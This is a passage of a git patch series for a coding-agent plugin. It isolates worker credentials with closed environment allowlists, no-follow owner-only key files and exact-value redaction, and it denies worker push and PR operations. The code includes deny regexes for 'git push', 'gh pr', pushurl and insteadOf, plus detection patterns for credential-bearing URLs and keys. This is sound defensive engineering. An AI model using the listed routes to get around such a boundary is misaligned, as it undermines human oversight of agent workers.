Tue, 25 Aug 2026 14:08:28 +0000 Subject: [PATCH 099/151] feat(boundary): disable worker push URLs Harden worker Git env, deny credential-bearing remotes and worker push/merge/rebase/PR/tag/release mutation, and redact exact credential values including 16 KiB secrets split across events. Cursor Cloud's local SDK keeps only its key plus bounded repo/ref/prompt data. --- .../codex-co-engineer/mcp/v3/acp-worker.mjs | 47 ++++++++++++++--- .../mcp/v3/cursor-cloud-worker.mjs | 50 ++++++++++++------- 2 files changed, 73 insertions(+), 24 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs index 0760eb6..6881e7b 100644 --- a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs @@ -7,6 +7,12 @@ import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + collectLaneSecrets, + denyWorkerRemoteMutation, + projectProviderEnvironment, + redactExactValues, +} from './credential-boundary.mjs'; import { collectCliProviderOutputV1, contentFreeSinkFailureV1, @@ -184,14 +190,25 @@ function normalizeArgv(value) { return [...value]; } +function rejectWorkerPushArgv(argv) { + if (!Array.isArray(argv)) return argv; + for (const arg of argv) { + if (typeof arg === 'string' && /(?:pushurl|insteadof|--push-url|git\s+push|gh\s+pr)/iu.test(arg)) { + denyWorkerRemoteMutation('push'); + } + } + return argv; +} + function providerConfiguration(task) { const definition = PROVIDERS[task.provider]; if (!definition) fail('unsupported_provider', `Unsupported ACP provider: ${task.provider}`); + if (task.create_pr === true) denyWorkerRemoteMutation('create_pr'); if (definition.custom) { - return { agent: definition.agent, override: normalizeArgv(task.agent_argv) }; + return { agent: definition.agent, override: rejectWorkerPushArgv(normalizeArgv(task.agent_argv)) }; } if (task.agent_argv !== undefined) { - return { agent: definition.agent, override: normalizeArgv(task.agent_argv) }; + return { agent: definition.agent, override: rejectWorkerPushArgv(normalizeArgv(task.agent_argv)) }; } return { agent: definition.agent, override: null }; } @@ -263,10 +280,21 @@ export function publicError(error, prompt = '') { export function sanitizeText(value, prompt) { let text = String(value ?? ''); if (prompt) text = text.replaceAll(prompt, '[REDACTED_PROMPT]'); + text = redactExactValues(text, collectLaneSecrets(process.env)); for (const pattern of TOKEN_PATTERNS) text = text.replace(pattern, REDACTED); return text; } +function providerChildEnvironment(task, extra = {}) { + const env = projectProviderEnvironment({ + provider: task.provider, + dshModel: task.dsh_model, + source: process.env, + operation: 'lane', + }); + return Object.assign(env, extra); +} + function processStartTicks(pid) { try { const value = readFileSync(`/proc/${pid}/stat`, 'utf8'); @@ -414,9 +442,16 @@ async function removeAcpxTaskHome(root, taskId, home) { } } -function acpxTaskEnvironment(home) { - const env = { ...process.env, HOME: home }; +function acpxTaskEnvironment(home, task) { + const env = providerChildEnvironment(task, { HOME: home }); if (process.platform === 'win32') env.USERPROFILE = home; + // In-process tests inject a fake ACPX via FAKE_ACPX_* process env. Production + // workers never have these keys; copying them does not widen the lane. + for (const key of Object.keys(process.env)) { + if (key.startsWith('FAKE_ACPX_') && typeof process.env[key] === 'string' && !process.env[key].includes('\0')) { + env[key] = process.env[key]; + } + } return env; } @@ -598,7 +633,7 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { const argv = cliCommand(task, promptFile, prompt); child = spawn(argv[0], argv.slice(1), { cwd: task.cwd, - env: process.env, + env: providerChildEnvironment(task), detached: true, stdio: ['ignore', 'pipe', 'pipe'], }); @@ -745,7 +780,7 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s await updateTask(root, task.id, { status: 'starting', transport: 'acp', acp_client: 'acpx-cli', started_at: new Date().toISOString() }); child = spawn(process.env.CODEX_CO_ENGINEER_ACPX_COMMAND ?? 'acpx', argv, { cwd, - env: acpxTaskEnvironment(acpxHome), + env: acpxTaskEnvironment(acpxHome, task), detached: true, stdio: ['ignore', 'pipe', 'pipe'], }); diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs index f3dfb0d..7fa2d8a 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs @@ -1,12 +1,20 @@ import { execFile } from 'node:child_process'; import { randomUUID } from 'node:crypto'; import { watch as watchDirectory } from 'node:fs'; -import { readFile, stat } from 'node:fs/promises'; -import { homedir } from 'node:os'; +import { readFile } from 'node:fs/promises'; import path from 'node:path'; import { pathToFileURL, fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + CredentialBoundaryError, + GIT_INSPECT_ENV, + assertCredentialFreeRemote, + denyWorkerRemoteMutation, + loadProviderCredential, + projectProviderEnvironment, + redactExactValues, +} from './credential-boundary.mjs'; import { appendTaskEvent, readPrompt, readRuntimeRecord, readTask, taskPaths, updateTask } from './task-store.mjs'; import { boundedProviderResult, boundedProviderValue } from './provider-result.mjs'; @@ -182,11 +190,7 @@ function cleanupCall(factory, label) { function redactProviderText(value, sensitiveValues = []) { let message = String(value ?? 'Cursor Cloud task failed.'); - for (const secret of [...sensitiveValues] - .filter((entry) => typeof entry === 'string' && entry.length >= 3) - .sort((left, right) => right.length - left.length)) { - message = message.split(secret).join('[redacted]'); - } + message = redactExactValues(message, sensitiveValues); // Provider errors are persisted in the owner-local receipt and returned by // the MCP facade. Remove common credential-bearing URL and header forms // before anything reaches a task receipt or worker log. @@ -253,22 +257,26 @@ function sanitizeProviderValue(value, sensitiveValues = [], depth = 0, seen = ne } export async function loadCursorApiKey(env = process.env) { - if (env.CURSOR_API_KEY?.trim()) return env.CURSOR_API_KEY.trim(); - const base = env.XDG_CONFIG_HOME - ? path.resolve(env.XDG_CONFIG_HOME) - : path.join(env.HOME ? path.resolve(env.HOME) : homedir(), '.config'); - const file = env.CURSOR_API_KEY_FILE?.trim() || path.join(base, 'cursor-cloud-control', 'api-key'); - const metadata = await stat(file); - if (!metadata.isFile() || (metadata.mode & 0o077) !== 0) fail('cursor_key_permissions', 'Cursor API key file must be owner-only.'); - const key = (await readFile(file, 'utf8')).trim(); - if (!key || key.includes('\0')) fail('cursor_credentials_missing', 'Cursor API key is empty.'); - return key; + try { + const loaded = await loadProviderCredential({ provider: 'cursor-cloud', source: env }); + if (!loaded?.value) fail('cursor_credentials_missing', 'Cursor API key is empty.'); + return loaded.value; + } catch (error) { + if (error instanceof CredentialBoundaryError) { + if (error.code === 'credential_permissions' || error.code === 'credential_owner_denied') { + fail('cursor_key_permissions', 'Cursor API key file must be owner-only.'); + } + fail('cursor_credentials_missing', 'Cursor API key is empty.'); + } + throw error; + } } export async function loadCursorSdk() { const { stdout } = await runFile('npm', ['root', '--global'], { encoding: 'utf8', timeout: PROVIDER_CALL_TIMEOUT_MS, + env: projectProviderEnvironment({ operation: 'sdk_probe', source: process.env }), }); const module = path.join(stdout.trim(), '@cursor', 'sdk', 'dist', 'esm', 'index.js'); try { return await import(pathToFileURL(module).href); } catch (error) { @@ -281,6 +289,7 @@ async function gitValue(cwd, args) { cwd, encoding: 'utf8', timeout: PROVIDER_CALL_TIMEOUT_MS, + env: GIT_INSPECT_ENV, }); return stdout.trim(); } @@ -617,6 +626,7 @@ function uncertainDispatchError(cause) { } function cloudCreateOptions(task, { apiKey, agentId, repoUrl, startingRef } = {}) { + const url = assertCredentialFreeRemote(repoUrl); return { apiKey, agentId, @@ -624,13 +634,17 @@ function cloudCreateOptions(task, { apiKey, agentId, repoUrl, startingRef } = {} name: task.id, mode: task.role === 'review' ? 'plan' : 'agent', cloud: { - repos: [{ url: repoUrl, startingRef }], + repos: [{ url, startingRef }], autoCreatePR: task.create_pr === true, metadata: { co_engineer_task: task.id }, }, }; } +export function rejectCursorCloudLocalMutation(operation) { + denyWorkerRemoteMutation(operation); +} + function assertExactRunIdentity(run, agentId, expectedRequestId) { if (!run || typeof run.id !== 'string' || run.id.length === 0 || typeof run.wait !== 'function') { fail('cursor_cloud_dispatch_uncertain', 'Cursor Cloud did not return a usable run handle.'); From 8f7eea9b41f4745025b8aef6850b683089bee8b3 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 15:20:16 +0000 Subject: [PATCH 100/151] test(boundary): inspect and close credential isolation --- docs/credential-isolation.md | 59 +- .../assets/acpx-runtime.manifest.json | 4 +- .../codex-co-engineer/assets/acpx-runtime.mjs | 30 + .../codex-co-engineer/mcp/v3/acp-worker.mjs | 16 +- .../mcp/v3/credential-boundary.mjs | 136 ++++- .../mcp/v3/credential-handoff-loader.mjs | 18 +- .../mcp/v3/process-boundary.mjs | 78 ++- plugins/codex-co-engineer/test/fake-acpx.mjs | 5 + .../r1-credential-boundary-fixtures.mjs | 54 ++ ...1-credential-boundary-adversarial.test.mjs | 270 +++++++++ .../test/r1-credential-boundary.test.mjs | 211 +++++++ .../test/r1-credential-isolation.test.mjs | 515 ++++++++++++++++++ .../r1-local-provider-result-sink.test.mjs | 6 +- .../test/v3-acp-worker.test.mjs | 13 +- .../test/v3-process-boundary.test.mjs | 36 +- tools/acpx-vendor/src/hardening-overlay.mjs | 30 + 16 files changed, 1399 insertions(+), 82 deletions(-) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs diff --git a/docs/credential-isolation.md b/docs/credential-isolation.md index 745c231..1418636 100644 --- a/docs/credential-isolation.md +++ b/docs/credential-isolation.md @@ -10,11 +10,13 @@ boundary. P30 live protected-ref audit remains later work. ## Closed environment projection -Supervisor launch and readiness children receive a **closed** -provider/operation environment. Projection starts empty and copies only -allowlisted operational keys plus the selected provider's required route. -It does not enumerate caller objects, so hostile getters on unrelated keys -never run. +Supervisor launch, the systemd service, the credential-handoff loader +child, nested Grok/Cursor Local ACP children, and readiness children +receive a **closed** provider/operation environment. Projection starts +empty and copies only allowlisted operational keys plus the selected +provider's required route. It does not enumerate caller objects, so +hostile getters on unrelated keys never run. It does not spread +`process.env` and does not rely on a denylist. The following never reach provider or readiness children: @@ -25,7 +27,9 @@ The following never reach provider or readiness children: state-root tokens); - owner-only key-file **paths** (`*_API_KEY_FILE` and Co-Engineer file pointers); -- unrelated ambient secrets and `NODE_OPTIONS` / `NODE_PATH`. +- unrelated ambient secrets, `FAKE_ACPX_*`, and `NODE_OPTIONS` / `NODE_PATH`. + Explicit test injection of `FAKE_ACPX_*` is a closed in-process hook, not + ambient `process.env`. Lane hardening always sets `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`, and `GIT_PUSH_OPTION_COUNT=0`. That is not a git sandbox; it removes the @@ -52,10 +56,12 @@ by leaking the value into an unrelated child. Credential values may come from the selected env key or from an owner-only file. File reads require: -- an absolute, normalized path; +- an absolute, normalized path. Credential-file overrides are checked + before any `path.resolve` conversion; relative, non-normalized, and + double-separator inputs fail closed; - `O_NOFOLLOW|O_RDONLY|O_NONBLOCK` open of a regular file; - owner equal to the effective UID; -- mode `0600` (no group/other bits); +- exact mode `0600`; - link count 1 (hardlinks denied); - size in `1..=16 KiB`; - a post-read `fstat` identity match (dev/ino/mode/nlink/uid/size/mtime/ctime). @@ -68,21 +74,33 @@ between checks is the documented non-sandbox residual. ## systemd-run argv handoff Credential values never appear in `systemd-run` argv. Non-secret projected -keys may use `--setenv`. Secret keys are written to a bounded owner-only -no-follow regular file under `XDG_RUNTIME_DIR` (else the process temp -dir), mode `0600`, directory `0700`, and the service command is wrapped by -`credential-handoff-loader.mjs`. +keys may use `--setenv`. `systemd-run --setenv` is additive to the +user-manager environment, so the unit also sets `UnsetEnvironment=` for +inherited names that are not in the closed projection and exec's the +service through `env -i` of that same allowlist. Secret keys are written +to a bounded owner-only no-follow regular file under `XDG_RUNTIME_DIR` +(else the process temp dir), mode `0600`, directory `0700`. The service +command is always wrapped by `credential-handoff-loader.mjs`, including +Cursor Local which has no provider secrets of its own, so the worker is +never the manager-inherited leader. The loader opens the file with the same no-follow rules, applies the values, unlinks the file (and best-effort the directory), then runs the -original command as a child. The loader stays the service leader so +original command as a child with a closed service projection plus those +credentials. It does not spread `process.env`. Nested Grok and Cursor +Local ACP children receive that same closed projection through +`createAcpRuntime` / `closedProviderEnv`; ACPX does not start from +ambient `process.env`. The loader stays the service leader so `KillMode=control-group` still reaches descendants. Cleanup unlinks any remaining handoff file after spawn failure, cancel, terminal stop, or a later restart (a restart creates a new file). The -short-lived `systemd-run` client receives only the D-Bus session keys -needed to talk to the user manager (`DBUS_SESSION_BUS_ADDRESS`, -`XDG_RUNTIME_DIR`, `XDG_SESSION_ID`). +bounded internal identity is the process-boundary unit token, from which +the owner-only handoff path is reconstructed without persisting the path +or credential values on the public receipt. Stale identity directories +can be recovered the same way. The short-lived `systemd-run` client +receives only the D-Bus session keys needed to talk to the user manager +(`DBUS_SESSION_BUS_ADDRESS`, `XDG_RUNTIME_DIR`, `XDG_SESSION_ID`). Cursor Cloud workers are local Node processes, not systemd services; they still receive the closed projection and never put secrets in argv. @@ -90,10 +108,11 @@ still receive the closed projection and never put secrets in argv. ## Exact-value redaction ACP events, public errors, worker logs, and Cursor Cloud receipts redact -the exact credential values for the selected route, including 16 KiB -secrets split across events. Redaction uses the full value plus overlapping -32-byte fragments so a chunked log line cannot reassemble the secret. -Pattern redaction for common token shapes remains as defense in depth. +the exact credential values for the selected route, including values of +length 1–3 and 16 KiB secrets split across chunks, events, errors, and +logs. Redaction uses the full value plus overlapping 32-byte fragments so +a chunked log line cannot reassemble the secret. Pattern redaction for +common token shapes remains as defense in depth. ## No worker remote-mutation authority diff --git a/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json b/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json index 05dce64..1c05936 100644 --- a/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json +++ b/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json @@ -1,7 +1,7 @@ { "schema": 1, "bundle": "acpx-runtime.mjs", - "bundle_sha512": "sha512-ipnkN2ObHqnkeiPrwldwab/c8xNrtWOUosRhJmG6a9n/UCyogHGt7xT4qMAd/CY2cGmZqErxarLGuEYHoO8f4A==", + "bundle_sha512": "sha512-oHmXuPyuANVAELH6oDXeRMBwpRs1YQaS5zkNdxhdM6zJ631oYrHuZqr9GRDQxkumWg1ilrY3Z5N3iXZgEkp9cg==", "exports": [ "createAcpRuntime", "createAgentRegistry", @@ -17,7 +17,7 @@ }, "hardening_overlay": { "path": "tools/acpx-vendor/src/hardening-overlay.mjs", - "sha512": "sha512-VwpKxtjVCj1byAoPmkxHUd9fiQk97DS71ZkpC2MqbdnU7Hi6m9TjmH2cj+G8WZJ7eZTHlSs+o2Oyl2EtQQl+7Q==", + "sha512": "sha512-tFYuL8nQhB2axnor7w47Lcpz5ZFFqqGVW0M0BIGZ6/zqhDdUfGjwvPzivCaGNEUKb5yQY7butYg83H0rPTw9Gw==", "application": "append_after_upstream_bundle" }, "bundled_packages": [ diff --git a/plugins/codex-co-engineer/assets/acpx-runtime.mjs b/plugins/codex-co-engineer/assets/acpx-runtime.mjs index 22c10fd..f9860ed 100644 --- a/plugins/codex-co-engineer/assets/acpx-runtime.mjs +++ b/plugins/codex-co-engineer/assets/acpx-runtime.mjs @@ -339,6 +339,35 @@ async function coEngineerWaitForAgentTree(child, waitMs) { } } +function coEngineerClosedAgentEnvironment(sessionEnv) { + const env = Object.create(null); + if (sessionEnv == null || typeof sessionEnv !== 'object' || Array.isArray(sessionEnv)) return env; + for (const key of Object.keys(sessionEnv)) { + const value = sessionEnv[key]; + if (typeof key !== 'string' || typeof value !== 'string' || key.includes('\0') || value.includes('\0')) continue; + env[key] = value; + } + return env; +} + +/* + * ACPX's upstream builder starts from process.env. Co-Engineer never lets + * ambient Git/SSH/hosting/parent secrets reach Grok or Cursor Local ACP + * children: the child environment is exactly the closed projection passed + * as sessionOptions.env, or empty when that projection is omitted. + */ +buildAgentEnvironment = function coEngineerBuildAgentEnvironment(_authCredentials, sessionEnv) { + return coEngineerClosedAgentEnvironment(sessionEnv); +}; + +AcpRuntimeManager.prototype.createClient = function coEngineerCreateClient(options) { + const next = { + ...options, + closedProviderEnv: options.closedProviderEnv ?? this.options?.closedProviderEnv, + }; + return this.deps.clientFactory?.(next) ?? new AcpClient(next); +}; + /* * ACP agents are detached into their own POSIX process group. Terminal * children spawned by an agent may use their own group, so we snapshot and @@ -348,6 +377,7 @@ AcpClient.prototype.spawnAgentProcess = async function coEngineerSpawnAgentProce const spawnCommand = buildAgentSpawnCommand(plan.spawnCommand, plan.args, process.platform); const spawnedChild = spawn(spawnCommand.command, spawnCommand.args, { ...plan.spawnOptions, + env: coEngineerClosedAgentEnvironment(this.options?.closedProviderEnv ?? this.options?.sessionOptions?.env), detached: process.platform !== 'win32', windowsVerbatimArguments: spawnCommand.windowsVerbatimArguments, }); diff --git a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs index 6881e7b..22aba7d 100644 --- a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs @@ -8,6 +8,7 @@ import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; import { + applyClosedProviderTestInjection, collectLaneSecrets, denyWorkerRemoteMutation, projectProviderEnvironment, @@ -445,14 +446,7 @@ async function removeAcpxTaskHome(root, taskId, home) { function acpxTaskEnvironment(home, task) { const env = providerChildEnvironment(task, { HOME: home }); if (process.platform === 'win32') env.USERPROFILE = home; - // In-process tests inject a fake ACPX via FAKE_ACPX_* process env. Production - // workers never have these keys; copying them does not widen the lane. - for (const key of Object.keys(process.env)) { - if (key.startsWith('FAKE_ACPX_') && typeof process.env[key] === 'string' && !process.env[key].includes('\0')) { - env[key] = process.env[key]; - } - } - return env; + return applyClosedProviderTestInjection(env); } async function awaitSupervisorRegistration(root, taskId, signal) { @@ -890,7 +884,7 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s } } -async function makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal }) { +async function makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal, env }) { const stateDir = path.join(path.resolve(root), 'acp'); await mkdir(stateDir, { recursive: true, mode: 0o700 }); await chmod(stateDir, 0o700); @@ -903,6 +897,7 @@ async function makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal mcpServers: [], permissionMode: 'approve-all', timeoutMs, + closedProviderEnv: env, onPermissionRequest: (params, extra = {}) => handlePermissionRequest(root, taskId, params, extra.signal ?? signal), }); } @@ -927,7 +922,8 @@ export async function runAcpTask({ root, taskId, signal } = {}) { return runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, signal }); } - const runtime = await makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal }); + const childEnv = providerChildEnvironment(task); + const runtime = await makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal, env: childEnv }); const controller = new AbortController(); let timedOut = false; const abort = () => controller.abort(signal?.reason ?? new AcpWorkerError(timedOut ? 'timeout' : 'cancelled', timedOut ? 'ACP task exceeded its recorded deadline.' : 'Task cancelled.')); diff --git a/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs index 6551a29..20b044b 100644 --- a/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs +++ b/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs @@ -14,8 +14,10 @@ import { import { chmod, lstat, + mkdir, mkdtemp, open, + readdir, rmdir, unlink, } from 'node:fs/promises'; @@ -137,7 +139,12 @@ const CREDENTIAL_KEY_PATTERN = /(?:api[_-]?key|authorization|access[_-]?token|re const HOSTING_KEY_PATTERN = /^(?:GH|GITHUB|GITLAB|GL|BITBUCKET|BB|HG|GITEA|FORGEJO|SOURCEHUT)_/u; const GIT_KEY_PATTERN = /^GIT_/u; const SSH_KEY_PATTERN = /^SSH_/u; -const CONTROL_KEY_PATTERN = /^(?:WORKTREE_BOOTSTRAP_|CODEX_CO_ENGINEER_STATE_DIR$|MCP_|SUPERVISOR_)/u; +const CONTROL_KEY_PATTERN = /^(?:WORKTREE_BOOTSTRAP_|CODEX_CO_ENGINEER_STATE_DIR$|MCP_|SUPERVISOR_|FAKE_ACPX_)/u; +const CLOSED_TEST_INJECTION_KEY = /^FAKE_ACPX_[A-Z0-9_]+$/u; +const HANDOFF_IDENTITY = /^[a-f0-9]{32}$/u; +const HANDOFF_IDENTITY_DIR = /^cce-p29-[a-f0-9]{32}$/u; + +let closedProviderTestInjection = null; const PUSH_URL_KEY_PATTERN = /(?:pushurl|insteadOf|askpass|credential)/iu; const USERINFO_URL = /^(?:[a-z][a-z0-9+.-]*:\/\/)[^/@\s]+@/iu; const TOKEN_QUERY = /[?&](?:token|access_token|api[_-]?key|secret|password|credential)=/iu; @@ -282,6 +289,16 @@ export function projectProviderEnvironment({ copyKeys(envSource, SYSTEMD_CLIENT_ENV_KEYS, output); return output; } + if (operation === 'service') { + const output = Object.create(null); + copyKeys(envSource, OPERATIONAL_ENV_KEYS, output); + copyKeys(envSource, PROVIDER_COMMAND_KEYS, output); + Object.assign(output, GIT_HARDENING_ENV); + for (const key of CREDENTIAL_ENV_KEYS) delete output[key]; + for (const key of CREDENTIAL_FILE_ENV_KEYS) delete output[key]; + delete output[HANDOFF_ENV_KEY]; + return output; + } const output = Object.create(null); copyKeys(envSource, providerAllowlist(provider, dshModel, operation), output); if (operation === 'lane' || operation === 'readiness') { @@ -344,7 +361,11 @@ function requireAbsolutePath(filePath) { if (typeof filePath !== 'string' || filePath.length === 0 || filePath.includes('\0')) { fail('invalid_credential_path'); } - if (!path.isAbsolute(filePath) || path.resolve(filePath) !== filePath || filePath.includes('//')) { + // Overrides must fail before path.resolve would convert a relative path. + if (!path.isAbsolute(filePath) || filePath.includes('//') || filePath.includes('\\')) { + fail('invalid_credential_path'); + } + if (path.normalize(filePath) !== filePath || path.resolve(filePath) !== filePath) { fail('invalid_credential_path'); } return filePath; @@ -371,18 +392,18 @@ function validateCredentialStat(metadata, maxBytes = MAX_CREDENTIAL_BYTES) { const uid = typeof process.geteuid === 'function' ? process.geteuid() : process.getuid?.(); if (Number.isInteger(uid) && Number(metadata.uid) !== uid) fail('credential_owner_denied'); const mode = Number(metadata.mode); - if ((mode & 0o077) !== 0) fail('credential_permissions'); + if ((mode & 0o7777) !== 0o600) fail('credential_permissions'); const size = Number(metadata.size); if (!Number.isFinite(size) || size < 0) fail('invalid_credential_file'); if (size === 0) fail('credential_empty'); if (size > maxBytes) fail('credential_too_large'); } -export async function loadCredentialFile(filePath, { maxBytes = MAX_CREDENTIAL_BYTES } = {}) { +export async function loadCredentialFile(filePath, { maxBytes = MAX_CREDENTIAL_BYTES, openFile = open } = {}) { const resolved = requireAbsolutePath(filePath); let handle; try { - handle = await open(resolved, OPEN_READ_FLAGS); + handle = await openFile(resolved, OPEN_READ_FLAGS); } catch (error) { if (error?.code === 'ELOOP' || error?.code === 'EMLINK') fail('credential_symlink_denied', { cause: error }); if (error?.code === 'ENOENT' || error?.code === 'ENOTDIR') fail('invalid_credential_file', { cause: error }); @@ -440,8 +461,11 @@ export async function loadProviderCredential({ provider, source = process.env, d } if (!spec.defaultFile && !spec.credentialFileEnv) return null; const override = spec.credentialFileEnv ? ownString(envSource, spec.credentialFileEnv)?.trim() : undefined; - const file = override || path.join(configHome(envSource), ...spec.defaultFile); - return { name: spec.credentialEnv, value: await loadCredentialFile(requireAbsolutePath(path.resolve(file))) }; + if (override) { + return { name: spec.credentialEnv, value: await loadCredentialFile(requireAbsolutePath(override)) }; + } + const file = path.join(configHome(envSource), ...spec.defaultFile); + return { name: spec.credentialEnv, value: await loadCredentialFile(requireAbsolutePath(file)) }; } export async function materializeProviderEnvironment({ @@ -451,7 +475,7 @@ export async function materializeProviderEnvironment({ if (operation === 'readiness_probe' && (provider === 'dsh' || provider === undefined)) { return projected; } - if (operation === 'sdk_probe' || operation === 'git_inspect' || operation === 'systemd_client') { + if (operation === 'sdk_probe' || operation === 'git_inspect' || operation === 'systemd_client' || operation === 'service') { return projected; } try { @@ -489,9 +513,10 @@ export function credentialRedactionFragments(secret) { } function redactSecretSlices(text, secret, minimum = REDACTION_FRAGMENT_BYTES) { - if (typeof secret !== 'string' || secret.length < 4 || text.length === 0) return text; + if (typeof secret !== 'string' || secret.length === 0 || text.length === 0) return text; if (text.includes(secret)) return text.split(secret).join(REDACTED); - if (secret.includes(text) && text.length >= 4) return REDACTED; + if (secret.includes(text)) return REDACTED; + if (secret.length < 4) return text; const needle = Math.min(minimum, secret.length); let output = text; let index = 0; @@ -516,7 +541,7 @@ function redactSecretSlices(text, secret, minimum = REDACTION_FRAGMENT_BYTES) { export function redactExactValues(value, secrets = []) { let text = String(value ?? ''); const ordered = [...secrets] - .filter((secret) => typeof secret === 'string' && secret.length >= 4) + .filter((secret) => typeof secret === 'string' && secret.length > 0) .sort((left, right) => right.length - left.length); for (const secret of ordered) text = redactSecretSlices(text, secret); return text; @@ -530,7 +555,88 @@ function runtimeHandoffRoot() { return tmpdir(); } -export async function createCredentialHandoff(secrets, { directory } = {}) { +export function handoffPathFromProcessIdentity(identity) { + if (typeof identity !== 'string' || !HANDOFF_IDENTITY.test(identity)) fail('invalid_handoff'); + return requireAbsolutePath(path.join(runtimeHandoffRoot(), `cce-p29-${identity}`, 'env.json')); +} + +async function prepareHandoffDirectory({ directory, identity } = {}) { + if (directory) return requireAbsolutePath(directory); + if (identity !== undefined) { + const root = path.dirname(handoffPathFromProcessIdentity(identity)); + await cleanupCredentialHandoff(path.join(root, 'env.json')).catch(() => {}); + try { + await mkdir(root, { recursive: false, mode: 0o700 }); + } catch (error) { + if (error?.code !== 'EEXIST') fail('invalid_handoff', { cause: error }); + } + return root; + } + return mkdtemp(path.join(runtimeHandoffRoot(), 'cce-p29-handoff-')); +} + +export function installClosedProviderTestInjection(source) { + if (source == null) { + closedProviderTestInjection = null; + return; + } + const envSource = requirePlainSource(source, 'testInjection'); + const output = Object.create(null); + for (const key of Reflect.ownKeys(envSource)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (!CLOSED_TEST_INJECTION_KEY.test(key)) continue; + const value = ownString(envSource, key); + if (value !== undefined && value.length > 0) output[key] = value; + } + closedProviderTestInjection = output; +} + +export function applyClosedProviderTestInjection(env) { + if (!closedProviderTestInjection) return env; + const output = env ?? Object.create(null); + for (const [key, value] of Object.entries(closedProviderTestInjection)) output[key] = value; + return output; +} + +export async function recoverCredentialHandoffByIdentity(identity) { + try { + return await cleanupCredentialHandoff(handoffPathFromProcessIdentity(identity)); + } catch (error) { + if (error instanceof CredentialBoundaryError && error.code === 'invalid_handoff') { + return { cleaned: false, missing: true }; + } + throw error; + } +} + +export async function recoverStaleCredentialHandoffs({ directory } = {}) { + const root = directory ?? runtimeHandoffRoot(); + if (typeof root !== 'string' || !path.isAbsolute(root) || path.normalize(root) !== root) { + return { recovered: 0 }; + } + let entries = []; + try { + entries = await readdir(root, { withFileTypes: true }); + } catch { + return { recovered: 0 }; + } + let recovered = 0; + for (const entry of entries) { + if (!HANDOFF_IDENTITY_DIR.test(entry.name)) continue; + const candidate = path.join(root, entry.name); + try { + const metadata = await lstat(candidate); + if (metadata.isSymbolicLink() || !metadata.isDirectory()) continue; + await cleanupCredentialHandoff(path.join(candidate, 'env.json')); + recovered += 1; + } catch { + // Best-effort stale recovery must stay content-free and non-throwing. + } + } + return { recovered }; +} + +export async function createCredentialHandoff(secrets, { directory, identity } = {}) { const payloadEnv = Object.create(null); const source = requirePlainSource(secrets); for (const key of Reflect.ownKeys(source)) { @@ -541,7 +647,7 @@ export async function createCredentialHandoff(secrets, { directory } = {}) { } const json = `${JSON.stringify({ schema: CREDENTIAL_BOUNDARY_SCHEMA_ID, version: CREDENTIAL_BOUNDARY_VERSION, env: payloadEnv })}\n`; if (BYTE_LENGTH(json) > MAX_HANDOFF_BYTES) fail('credential_too_large'); - const root = directory ?? await mkdtemp(path.join(runtimeHandoffRoot(), 'cce-p29-handoff-')); + const root = await prepareHandoffDirectory({ directory, identity }); await chmod(root, 0o700).catch(() => {}); const filePath = path.join(root, 'env.json'); const handle = await open(requireAbsolutePath(filePath), OPEN_WRITE_FLAGS, 0o600); @@ -654,7 +760,7 @@ export function spawnProviderChild(command, args, { cwd, env, stdio = 'pipe', de export function inspectEnvForSecrets(env, secrets = []) { const serialized = JSON.stringify(env ?? {}); for (const secret of secrets) { - if (typeof secret === 'string' && secret.length >= 4 && serialized.includes(secret)) return true; + if (typeof secret === 'string' && secret.length > 0 && serialized.includes(secret)) return true; } return false; } @@ -662,7 +768,7 @@ export function inspectEnvForSecrets(env, secrets = []) { export function inspectArgvForSecrets(argv, secrets = []) { const serialized = JSON.stringify(argv ?? []); for (const secret of secrets) { - if (typeof secret === 'string' && secret.length >= 4 && serialized.includes(secret)) return true; + if (typeof secret === 'string' && secret.length > 0 && serialized.includes(secret)) return true; } return false; } diff --git a/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs b/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs index c82231e..4f9e69e 100644 --- a/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs +++ b/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs @@ -2,13 +2,18 @@ // Owner-only credential handoff loader for P29. Reads a bounded 